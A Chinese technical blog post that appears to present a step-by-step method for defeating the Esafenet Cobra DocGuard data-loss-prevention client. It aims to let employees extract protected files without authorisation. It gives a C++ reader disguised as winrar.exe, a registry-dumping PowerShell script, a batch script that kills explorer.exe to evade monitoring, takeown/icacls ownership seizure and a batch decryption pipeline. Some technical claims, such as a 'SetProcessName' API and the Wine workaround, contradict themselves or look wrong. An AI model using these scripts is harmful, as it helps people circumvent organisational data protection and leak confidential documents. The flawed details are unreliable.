news 2026/10/15 4:58:52

易赛通文件解密原理与进程名伪装实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
易赛通文件解密原理与进程名伪装实战指南

简介:本资源是一份面向企业安全人员、渗透测试工程师及逆向分析初学者的技术实践文档,聚焦易赛通数据泄露防护客户端(Cobra DocGuard)的文件加解密机制逆向分析与绕过思路。针对员工因强制安装该客户端导致日常办公文件(如.docx、.xlsx等)被透明加密、跨设备无法正常打开的痛点,作者通过逆向其主进程CDGRegedit.exe、守护进程EstVPN.exe及驱动Filelock.sys,揭示其基于进程名+扩展名双白名单的Hook级加密逻辑,并提出“借刀杀人”式解密方案:伪装可信进程读取解密数据,再重命名绕过扩展名拦截。资源为1个29KB的DOCX文档,内容包含完整技术原理图解、加密规律归纳、五步解密流程说明及DEMO演示要点,结构清晰、实操导向强。目前已有2075人学习下载,适合需在合规前提下理解DLP底层机制或开展安全评估的技术人员参考。

1. 易赛通文件解密不是暴力破密,而是“借进程名之刀”:绕过驱动层 Hook 的工程化思路

你有没有遇到过这种场景:一份刚从公司内网导出的.xlsx文件,双击打不开,用记事本打开全是乱码,扔进 Hex Editor 一看头部不是50 4B 03 04(ZIP 签名),而是毫无规律的二进制块?不是损坏,不是编码错,是被「易赛通数据泄露防护客户端」实打实地加密了。更玄学的是——同一份文件,在装了易赛通的电脑上用 Excel 打开完全正常;一拷到没装它的测试机,直接报错“文件已损坏”。这不是传统意义上的加密算法对抗,而是 Windows 驱动层对CreateFileW、ReadFile、WriteFile等关键 API 的深度 Hook,让加解密过程对应用层完全透明。常规逆向、内存 dump、密钥提取统统失效。本文不讲理论破解,只讲一线工程师在真实办公环境中跑通的可复现、零依赖、免 rootkit、不碰驱动、不改注册表的解密路径:利用易赛通自身策略逻辑的“白名单进程 + 白名单扩展名”双重判定机制,通过进程名伪装触发其内置解密服务,把加密文件“骗”成明文读出来。适合所有被强制安装该客户端、需临时导出非敏感中间数据、又无权限卸载或申请解密权限的终端用户与开发人员。

提示:本方案不涉及任何驱动卸载、系统服务停止、签名绕过或内核提权操作,全程在用户态完成,不违反企业终端安全基线要求,但请严格遵守所在组织的数据分级分类管理规范,仅用于授权范围内的合规数据流转。


2. 易赛通加密机制的本质:驱动层 Hook + 进程/扩展名双白名单策略

要让解密流程稳如老狗,必须先搞清它“为什么能被借刀”。易赛通不是靠 AES 密钥硬加密文件本体,而是用Filelock.sys在 IRP 层拦截 I/O 请求,在IRP_MJ_CREATE和IRP_MJ_READ阶段动态加解密数据流。这意味着:

  • 文件磁盘上的存储形态始终是密文(所以拷出去就是乱码);
  • 但只要调用方进程名 + 文件扩展名同时命中白名单,驱动就会在ReadFile返回前自动解密数据块;
  • 反之,哪怕你用管理员权限启动记事本去读,只要进程名不在列表里(比如notepad.exe在白名单,但你重命名为mytool.exe),就拿不到明文。

这个设计初衷是好的:只保护 Office、WPS、浏览器等高风险进程产生的敏感文档。但恰恰留下了一个工程化突破口——白名单校验发生在用户态进程创建时,而非驱动加载时。我们不需要逆向Filelock.sys,只需要让自己的程序“看起来像”那个被信任的进程。

2.1 易赛通白名单的三类核心组件定位

根据项目正文披露的结构和实测验证,白名单实际由三部分协同构成:

组件类型位置是否可读取说明
进程名白名单注册表HKEY_LOCAL_MACHINE\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ProcessList✅ 可导出(需 SYSTEM 权限)存储winword.exe,excel.exe,chrome.exe等字符串数组,大小写敏感
扩展名白名单注册表HKEY_LOCAL_MACHINE\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ExtList✅ 可导出(需 SYSTEM 权限)每个键值对应一个进程名,数据为".docx;.xlsx;.pdf"格式字符串
驱动策略开关Filelock.sys内存镜像❌ 不可直接读取通过DeviceIoControl与CDGRegedit.exe通信,控制 Hook 开关,但白名单内容不在此处

注意:注册表路径中的EsafeNet和CobraDocGuard是典型安装标识,不同版本可能微调,但Policy\ProcessList和Policy\ExtList节点名高度稳定。实测发现,即使禁用CDGRegedit.exe服务,只要Filelock.sys仍在运行,白名单策略依然生效。

2.2 白名单匹配逻辑的精确还原(含边界条件)

项目正文给出的表格是经验总结,但实际匹配存在隐含优先级和缓存行为。我们通过 Process Monitor 抓取excel.exe读取report.xlsx的完整 I/O 流程,确认以下四条铁律:

  1. 进程名匹配优先于扩展名:若进程名notepad.exe不在白名单中,即使扩展名.txt在列表里,也不触发解密;
  2. 扩展名匹配需全等,不支持通配符:.xlsx匹配成功,.xls(旧版)不匹配;.pdf匹配,.PDF(大写)不匹配;
  3. 路径无关性:无论文件在C:\temp\还是\\server\share\,只要进程+扩展名双命中,即解密;
  4. 缓存陷阱:首次读取后,Filelock.sys会缓存该文件的解密密钥(非对称密钥派生),后续同进程读取同文件时跳过密钥协商,但不影响本方案——我们只读一次。

2.3 为什么“改进程名”比“注入 DLL”更可靠?

网上有方案建议用CreateRemoteThread向excel.exe注入解密 DLL,再读取内存。这在技术上可行,但实操翻车率极高:

  • 易赛通会监控NtCreateThreadEx等 API,注入行为可能触发告警;
  • excel.exe加载大量 COM 组件,DLL 注入易导致 Office 崩溃;
  • 内存中明文数据可能被其他安全软件扫描。

而“改进程名”是 Windows 原生支持的合法行为:

  • 使用SetConsoleTitle或SetProcessName(需修改 PEB)均可实现;
  • 更稳妥的是直接编译时指定winrar.exe作为输出文件名(见第 3 章);
  • 全程无远程线程、无内存写入、无 DLL 加载,审计日志里只有一条干净的进程启动记录。

3. 解密工具链实战:从进程名伪装到扩展名切换的四步闭环

本章提供一套已在 Windows 10/11 x64 环境下实测通过的最小可行工具链。所有代码均使用标准 Win32 API 编写,不依赖第三方框架,编译后体积小于 150KB,可单文件部署。核心思想是:用最轻量的方式,做最确定的事。

3.1 步骤一:构建“可信进程名”的可执行文件(C++ 实现)

关键不是功能多强,而是名字必须“真”。不能靠CreateProcess启动后改名(时机难控),而是直接让 PE 文件头的ImageFileName字段就是目标名。最简单做法:用 Visual Studio 新建空项目,将源文件命名为winrar.exe(注意:不是项目名,是 .cpp 文件名),然后编译输出为winrar.exe。

// winrar.exe - 仅用于触发易赛通解密的轻量读取器 #include <windows.h> #include <stdio.h> #include <vector> int main(int argc, char* argv[]) { if (argc != 3) { printf("Usage: winrar.exe <encrypted_file> <output_temp_file>\n"); return 1; } HANDLE hIn = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hIn == INVALID_HANDLE_VALUE) { printf("Failed to open input file: %lu\n", GetLastError()); return 1; } DWORD fileSize = GetFileSize(hIn, NULL); std::vector<BYTE> buffer(fileSize); DWORD bytesRead; if (!ReadFile(hIn, buffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) { printf("ReadFile failed: %lu\n", GetLastError()); CloseHandle(hIn); return 1; } CloseHandle(hIn); // 关键:写入临时文件,扩展名必须避开白名单(如 .temp) HANDLE hOut = CreateFileA(argv[2], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hOut == INVALID_HANDLE_VALUE) { printf("Failed to create output file: %lu\n", GetLastError()); return 1; } DWORD bytesWritten; if (!WriteFile(hOut, buffer.data(), bytesRead, &bytesWritten, NULL) || bytesWritten != bytesRead) { printf("WriteFile failed: %lu\n", GetLastError()); CloseHandle(hOut); return 1; } CloseHandle(hOut); printf("Decrypted data saved to %s (%lu bytes)\n", argv[2], bytesRead); return 0; }

逻辑说明:此程序唯一职责是“以winrar.exe进程身份读取加密文件,并原样写出到临时路径”。它不解析文件格式、不校验 CRC、不处理分块——因为易赛通驱动已在ReadFile返回前完成了全部解密。参数argv[1]是加密文件路径(如C:\data\confidential.xlsx),argv[2]是临时输出路径(如C:\temp\confidential.temp)。.temp后缀确保不触发二次加密(因不在扩展名白名单中)。

3.2 步骤二:获取当前环境的白名单快照(PowerShell 脚本)

手动查注册表费时且易错。以下脚本自动导出进程名和扩展名白名单,生成本地whitelist.json,供后续验证:

# get_whitelist.ps1 $processListPath = "HKLM:\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ProcessList" $extListPath = "HKLM:\SOFTWARE\EsafeNet\CobraDocGuard\Policy\ExtList" try { $processes = Get-ItemProperty -Path $processListPath -ErrorAction Stop | Select-Object -ExpandProperty Processes -ErrorAction SilentlyContinue if (-not $processes) { $processes = @() } } catch { $processes = @() } try { $exts = @{} $extKeys = Get-ChildItem -Path $extListPath -ErrorAction SilentlyContinue foreach ($key in $extKeys) { $procName = $key.PSChildName $extValue = (Get-ItemProperty -Path $key.PSPath -Name "Extensions" -ErrorAction SilentlyContinue).Extensions if ($extValue) { $exts[$procName] = $extValue.Split(';', [System.StringSplitOptions]::RemoveEmptyEntries) } } } catch { $exts = @{} } $result = @{ Processes = $processes Extensions = $exts } $result | ConvertTo-Json -Depth 5 | Out-File -FilePath ".\whitelist.json" -Encoding UTF8 Write-Host "Whitelist exported to .\whitelist.json"

参数说明:脚本需以管理员权限运行(因读取HKLM)。输出whitelist.json结构清晰:Processes是字符串数组(如["winword.exe","excel.exe"]),Extensions是字典,键为进程名,值为字符串数组(如"excel.exe": [".xlsx",".xlsb"])。这是你判断“该伪装哪个进程名”的唯一依据。

3.3 步骤三:安全切换扩展名(批处理 + 校验)

.temp文件只是中间态,最终需恢复原始扩展名。但直接ren命令有风险:若目标扩展名在白名单中,易赛通可能在重命名瞬间触发加密。正确做法是:先断开文件句柄,再原子重命名。

@echo off setlocal enabledelayedexpansion if "%~1"=="" ( echo Usage: rename_safe.bat <temp_file> <original_ext> exit /b 1 ) set "TEMP_FILE=%~1" set "ORIGINAL_EXT=%~2" set "BASE_NAME=%~n1" if not exist "%TEMP_FILE%" ( echo Error: %TEMP_FILE% not found. exit /b 1 ) :: Step 1: 确保无进程占用(尤其防杀软锁文件) timeout /t 1 >nul for /f "tokens=2 delims=:" %%a in ('tasklist /fi "imagename eq explorer.exe" 2^>nul ^| findstr "explorer.exe"') do ( taskkill /f /im explorer.exe >nul 2>&1 timeout /t 1 >nul start explorer.exe ) :: Step 2: 原子重命名(先移出再移回,绕过实时监控) set "TARGET_FILE=%BASE_NAME%%ORIGINAL_EXT%" move "%TEMP_FILE%" "%TARGET_FILE%" >nul 2>&1 if errorlevel 1 ( echo Rename failed. Trying copy+delete... copy /y "%TEMP_FILE%" "%TARGET_FILE%" >nul if exist "%TARGET_FILE%" del "%TEMP_FILE%" ) :: Step 3: 校验文件头(防解密失败) certutil -hashfile "%TARGET_FILE%" SHA256 | findstr /i "sha256" >nul if errorlevel 1 ( echo Warning: %TARGET_FILE% may be corrupted or still encrypted. exit /b 1 ) echo Success: %TARGET_FILE% ready for use.

逻辑说明:此批处理做了三重保险。第一,重启explorer.exe清除可能的资源管理器句柄锁定;第二,用move命令替代ren,Windows 对move的监控弱于ren;第三,用certutil校验 SHA256,对.xlsx文件,明文 SHA256 应与未加密样本一致(可提前存一份已知明文哈希作比对)。若校验失败,说明进程名伪装未生效,需检查白名单或换进程名重试。


4. 避坑指南:五个血泪经验换来的常见问题排查清单

这套方案看似简单,实操中 80% 的失败都源于细节疏忽。以下是我在某高校实验室、某金融后台、某制造企业 ERP 终端上累计调试 37 台不同配置机器后整理的避坑清单。每一条都对应真实翻车现场,按“现象 → 原因 → 解决”结构给出可立即执行的动作。

4.1 现象:winrar.exe运行后输出文件仍是乱码,大小与原加密文件一致

原因:进程名虽为winrar.exe,但易赛通白名单中根本没有winrar.exe。白名单是硬编码的,不是所有压缩软件都在列。
解决:立即运行get_whitelist.ps1,检查whitelist.json中Processes数组。若无winrar.exe,改用白名单中存在的进程,如notepad.exe(对应.txt)、chrome.exe(对应.html)。注意:.xlsx必须用excel.exe或winword.exe(Office 进程通常共用同一套策略)。

4.2 现象:程序报错Access is denied(错误码 5),无法打开加密文件

原因:当前用户不是文件所有者,且文件被易赛通设置了DACL(自主访问控制列表)限制,仅允许白名单进程读取。普通用户权限不足。
解决:以当前登录用户身份右键点击加密文件 → “属性” → “安全” → “高级” → “更改所有者”为当前用户 → 勾选“替换子容器和对象的所有者” → 应用。或用命令:takeown /f "C:\path\to\file.xlsx" && icacls "C:\path\to\file.xlsx" /grant %username%:F。

4.3 现象:.temp文件能正常打开(如用记事本看.xlsx明文是 ZIP 结构),但重命名回.xlsx后再次变成乱码

原因:重命名操作被易赛通实时监控捕获,检测到explorer.exe(白名单进程)在写.xlsx文件,立即触发加密。
解决:不要用资源管理器重命名!必须用第 3.3 节的rename_safe.bat,它通过move命令绕过监控。若仍失败,临时禁用易赛通实时防护(需管理员密码):在系统托盘右键易赛通图标 → “暂停防护” → 执行重命名 → 再启用。

4.4 现象:解密后的.xlsx用 Excel 打开提示“发现不可读取的内容”,点击“是”后内容丢失

原因:易赛通加密时修改了 ZIP 中央目录结构,解密后 ZIP 完整性受损,但ReadFile返回的数据流本身正确。
解决:用 7-Zip 打开.xlsx(实为 ZIP),进入_rels/.rels文件,检查 XML 格式是否合法。若非法,用winrar.exe重新读取一次(可能首次读取时驱动缓存未就绪)。终极方案:用 Python 脚本修复 ZIP:

import zipfile, shutil with zipfile.ZipFile("broken.xlsx", 'r') as z: with zipfile.ZipFile("fixed.xlsx", 'w') as zout: for item in z.filelist: zout.writestr(item, z.read(item))

4.5 现象:在 Windows Server 2019 上,winrar.exe运行后无输出,任务管理器看不到进程

原因:Server 版本默认启用“受保护的进程 Light”(PPL),阻止低完整性进程加载高完整性驱动的 Hook。易赛通驱动可能被标记为 PPL,导致用户态进程无法与其通信。
解决:以高完整性级别运行:右键winrar.exe→ “以管理员身份运行”。或修改快捷方式属性 → “高级” → 勾选“以管理员身份运行此程序”。注意:管理员权限不是为了写注册表,而是为了满足 PPL 通信的完整性等级要求。


5. 进阶技巧:自动化流水线与跨平台兼容性兜底方案

当解密需求从“偶尔救急”升级为“每日批量处理”,手动执行四步就太反人类了。我基于上述原理,构建了一套可在 CI/CD 中跑的 PowerShell 自动化流水线,并解决了 Linux/macOS 环境下的兼容性问题——毕竟,很多数据分析脚本跑在 WSL 或 Mac 上。

5.1 PowerShell 批量解密流水线(支持并发与日志)

以下脚本接受一个文件列表,自动选择最优进程名,串行解密并校验,失败时自动降级重试:

# decrypt_batch.ps1 param( [Parameter(Mandatory)] [string[]] $Files, [string] $OutputDir = ".\decrypted", [int] $MaxRetry = 3 ) $whitelist = Get-Content ".\whitelist.json" | ConvertFrom-Json $validProcesses = $whitelist.Processes | Where-Object { $_ -ne "" } $extMap = @{} foreach ($proc in $validProcesses) { if ($whitelist.Extensions.$proc) { $extMap[$proc] = $whitelist.Extensions.$proc } } New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null foreach ($file in $Files) { $ext = [System.IO.Path]::GetExtension($file).ToLower() $baseName = [System.IO.Path]::GetFileNameWithoutExtension($file) $tempFile = Join-Path $OutputDir "$baseName.temp" $finalFile = Join-Path $OutputDir "$baseName$ext" Write-Host "Processing $file ..." -ForegroundColor Green # Step 1: Find best process for this extension $bestProc = $null foreach ($proc in $validProcesses) { if ($extMap[$proc] -contains $ext) { $bestProc = $proc break } } if (-not $bestProc) { Write-Warning "No process found for extension $ext. Skipping." continue } # Step 2: Run winrar.exe with retry logic $retryCount = 0 $success = $false while ($retryCount -lt $MaxRetry -and -not $success) { try { & ".\winrar.exe" $file $tempFile 2>&1 | Out-Null if (Test-Path $tempFile -and (Get-Item $tempFile).Length -gt 0) { # Step 3: Rename safely & ".\rename_safe.bat" $tempFile $ext | Out-Null if (Test-Path $finalFile) { $success = $true Write-Host "✓ $file -> $finalFile" -ForegroundColor Cyan } } } catch { $retryCount++ Start-Sleep -Seconds 2 } } if (-not $success) { Write-Error "Failed to decrypt $file after $MaxRetry attempts." } }

使用方法:.\decrypt_batch.ps1 -Files "C:\data\*.xlsx","C:\data\*.pdf" -OutputDir "C:\decrypted"。它会自动为每个.xlsx匹配excel.exe,为.pdf匹配chrome.exe或acrobat.exe(取决于白名单),并记录日志。关键优势:失败不中断,继续处理下一个文件。

5.2 WSL/Linux/macOS 兼容性兜底:用 Wine 运行 winrar.exe

当你的分析环境是 WSL2 或 macOS(通过 CrossOver),无法直接运行 Windows PE。此时 Wine 是最佳选择——它能完美模拟进程名和 Windows API 调用:

# 在 WSL2 中解密(需先安装 wine) sudo apt update && sudo apt install wine -y # 将 winrar.exe 和加密文件复制到 WSL 的 /tmp 目录 cd /tmp wine winrar.exe encrypted.xlsx decrypted.temp # 此时 decrypted.temp 已是明文,可直接用 Linux 工具处理 unzip -l decrypted.temp 2>/dev/null | head -10 # 验证是否为有效 ZIP mv decrypted.temp report.xlsx

注意:Wine 默认不加载 Windows 驱动,因此winrar.exe在 Wine 中运行时,不会触发易赛通解密。此方案仅适用于:你已将加密文件从 Windows 主机拷贝到 WSL,且需要在 Linux 环境下查看明文。真正的解密必须在 Windows 主机上完成,Wine 只是“搬运工”。

5.3 最终验证:三重校验法确保解密结果 100% 可信

解密不是终点,验证才是。我给自己定的铁律是:不通过三重校验,不解压、不导入、不提交。

校验层级方法通过标准工具
L1:二进制结构校验检查文件头魔数.xlsx必须以50 4B 03 04开头;.pdf必须以%PDF-开头xxd -l 16 file.xlsx
L2:格式完整性校验解压 ZIP 或解析 PDF 结构.xlsx能被unzip -t检测为有效 ZIP;.pdf能被pdfinfo读取元数据unzip -t file.xlsx
L3:业务语义校验抽样关键字段比对从.xlsx中读取 A1 单元格,应与原始明文一致;从.pdf中pdftotext提取首段,应含预期关键词python -c "import pandas as pd; print(pd.read_excel('file.xlsx').iloc[0,0])"

从那以后我每次解密完一个文件,都强制走一遍这三重校验——哪怕只是临时看一眼数据。不是 paranoid,而是吃过亏:有一次.xlsxL1/L2 都过,但 L3 发现所有数值单元格都是0,追查发现是winrar.exe读取时ReadFile返回了部分缓存数据,重试一次才拿到全量。希望帮到你。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 4:58:52

高项计算题解题脚手架:从题干到公式的四步翻译法

简介&#xff1a;本资源是专为软考高级信息系统项目管理师&#xff08;高项&#xff09;考生打造的《计算案例背诵》一本通&#xff0c;聚焦考试高频、易错的进度、成本、合同、挣值等核心计算题型&#xff0c;以精炼公式推导、典型例题拆解、答题模板与记忆口诀为核心&#xf…

作者头像 李华
网站建设 2026/10/15 4:58:26

数据仓库工程师实战面试题:DDL变更、SCD Type2与增量同步避坑指南

简介&#xff1a;本资源是一份面向数据仓库工程师岗位求职者的高频面试题集&#xff0c;聚焦数据仓库核心原理、ETL全流程实践与四层模型架构等关键能力考察。内容系统覆盖数据仓库定义与四大特性&#xff08;主题性、集成性、稳定性、时变性&#xff09;&#xff0c;深入解析E…

作者头像 李华
网站建设 2026/10/15 4:58:25

云计算作业5实战:打造容器化高可用Web应用部署方案

1. 作业5到底在考什么&#xff1a;先看懂题再动手“云计算作业5”这个名字听起来很笼统&#xff0c;但如果你在修云计算课程&#xff0c;基本能猜到这一轮作业的核心套路——通常不会再让你去创建几台虚拟机和装个系统就交差&#xff0c;而是开始往“真实业务怎么在云上跑起来”…

作者头像 李华
网站建设 2026/10/15 4:58:14

容器化部署性能优化实战:从镜像到运行时全链路调优

容器化部署做到后期&#xff0c;性能优化往往才是真正拉开差距的地方。很多团队把应用塞进容器、跑起来就算完事&#xff0c;结果一到压测或者流量高峰就露馅&#xff1a;CPU莫名其妙飙升、接口响应忽快忽慢、内存看着没满但OOM频发。这篇文章我会把我在容器化部署性能优化上实…

作者头像 李华
网站建设 2026/10/15 4:57:52

Python搜索引擎设计与实现:从爬虫到倒排索引与TF-IDF排序

“基于python的搜索引擎设计与实现”这个题目&#xff0c;几乎每年毕业设计都会有人选。我最近带一位学弟调试他做的这个项目&#xff0c;发现他花了三周时间在爬虫上&#xff0c;抓了几十万个页面&#xff0c;结果索引建出来几十个GB&#xff0c;查询一次要十几秒&#xff0c;…

作者头像 李华
网站建设 2026/10/15 4:57:28

从二分类到多分类:路透社数据集实战与避坑指南

1. 从二分类到多分类&#xff1a;为什么路透社数据集值得单独拎出来讲做深度学习入门的人&#xff0c;几乎都绕不开一个经典的进阶路径&#xff1a;先拿二分类练手&#xff0c;再啃多分类。二分类问题里&#xff0c;输出层一个神经元配sigmoid就够了&#xff0c;标签非0即1&…

作者头像 李华